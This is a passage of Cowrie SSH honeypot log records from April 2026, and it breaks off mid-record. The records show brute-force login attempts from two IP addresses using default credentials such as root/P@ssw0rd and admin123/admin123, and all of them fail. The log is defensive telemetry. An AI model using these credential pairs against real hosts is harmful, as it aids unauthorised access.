{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:37.650604Z","src_ip":"192.109.200.78","session":"db5a0b98f1dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:37.900839Z","src_ip":"192.109.200.78","session":"db5a0b98f1dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38664,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4b8cc8f699e","protocol":"ssh","message":"New connection: 176.65.139.95:38664 (159.203.135.109:22) [session: d4b8cc8f699e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:38.000534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:38.017641Z","src_ip":"176.65.139.95","session":"d4b8cc8f699e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:38.099189Z","src_ip":"176.65.139.95","session":"d4b8cc8f699e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:38.451536Z","src_ip":"176.65.139.95","session":"d4b8cc8f699e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:38.988121Z","src_ip":"192.109.200.78","session":"db5a0b98f1dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:39.542422Z","src_ip":"176.65.139.95","session":"d4b8cc8f699e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50204,"dst_ip":"159.203.135.109","dst_port":22,"session":"f161dbbe0985","protocol":"ssh","message":"New connection: 192.109.200.78:50204 (159.203.135.109:22) [session: f161dbbe0985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:41.430455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:41.435946Z","src_ip":"192.109.200.78","session":"f161dbbe0985","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:41.518270Z","src_ip":"192.109.200.78","session":"f161dbbe0985","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:41.767245Z","src_ip":"192.109.200.78","session":"f161dbbe0985","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:42.858463Z","src_ip":"192.109.200.78","session":"f161dbbe0985","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":33972,"dst_ip":"159.203.135.109","dst_port":22,"session":"b973d607534d","protocol":"ssh","message":"New connection: 176.65.139.95:33972 (159.203.135.109:22) [session: b973d607534d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:44.824978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:44.829621Z","src_ip":"176.65.139.95","session":"b973d607534d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:44.915061Z","src_ip":"176.65.139.95","session":"b973d607534d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50206,"dst_ip":"159.203.135.109","dst_port":22,"session":"0096ec17726b","protocol":"ssh","message":"New connection: 192.109.200.78:50206 (159.203.135.109:22) [session: 0096ec17726b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:45.499233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:45.505046Z","src_ip":"192.109.200.78","session":"0096ec17726b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:45.578714Z","src_ip":"176.65.139.95","session":"b973d607534d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:45.588625Z","src_ip":"192.109.200.78","session":"0096ec17726b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:45.844787Z","src_ip":"192.109.200.78","session":"0096ec17726b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:46.669172Z","src_ip":"176.65.139.95","session":"b973d607534d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:46.930011Z","src_ip":"192.109.200.78","session":"0096ec17726b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59602,"dst_ip":"159.203.135.109","dst_port":22,"session":"4630f8ed6c16","protocol":"ssh","message":"New connection: 192.109.200.78:59602 (159.203.135.109:22) [session: 4630f8ed6c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:49.413194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:49.417546Z","src_ip":"192.109.200.78","session":"4630f8ed6c16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:49.499199Z","src_ip":"192.109.200.78","session":"4630f8ed6c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:49.885385Z","src_ip":"192.109.200.78","session":"4630f8ed6c16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:50.972374Z","src_ip":"192.109.200.78","session":"4630f8ed6c16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":37174,"dst_ip":"159.203.135.109","dst_port":22,"session":"c31d3c546e3c","protocol":"ssh","message":"New connection: 176.65.139.95:37174 (159.203.135.109:22) [session: c31d3c546e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:51.823922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:51.835683Z","src_ip":"176.65.139.95","session":"c31d3c546e3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:51.934932Z","src_ip":"176.65.139.95","session":"c31d3c546e3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:52.302294Z","src_ip":"176.65.139.95","session":"c31d3c546e3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59616,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba9730e575de","protocol":"ssh","message":"New connection: 192.109.200.78:59616 (159.203.135.109:22) [session: ba9730e575de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:53.287922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:53.292948Z","src_ip":"192.109.200.78","session":"ba9730e575de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:53.375974Z","src_ip":"192.109.200.78","session":"ba9730e575de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:53.539778Z","src_ip":"176.65.139.95","session":"c31d3c546e3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:53.936029Z","src_ip":"192.109.200.78","session":"ba9730e575de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:55.145163Z","src_ip":"192.109.200.78","session":"ba9730e575de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59618,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d7e9acd2667","protocol":"ssh","message":"New connection: 192.109.200.78:59618 (159.203.135.109:22) [session: 1d7e9acd2667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:57.283727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:57.289382Z","src_ip":"192.109.200.78","session":"1d7e9acd2667","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 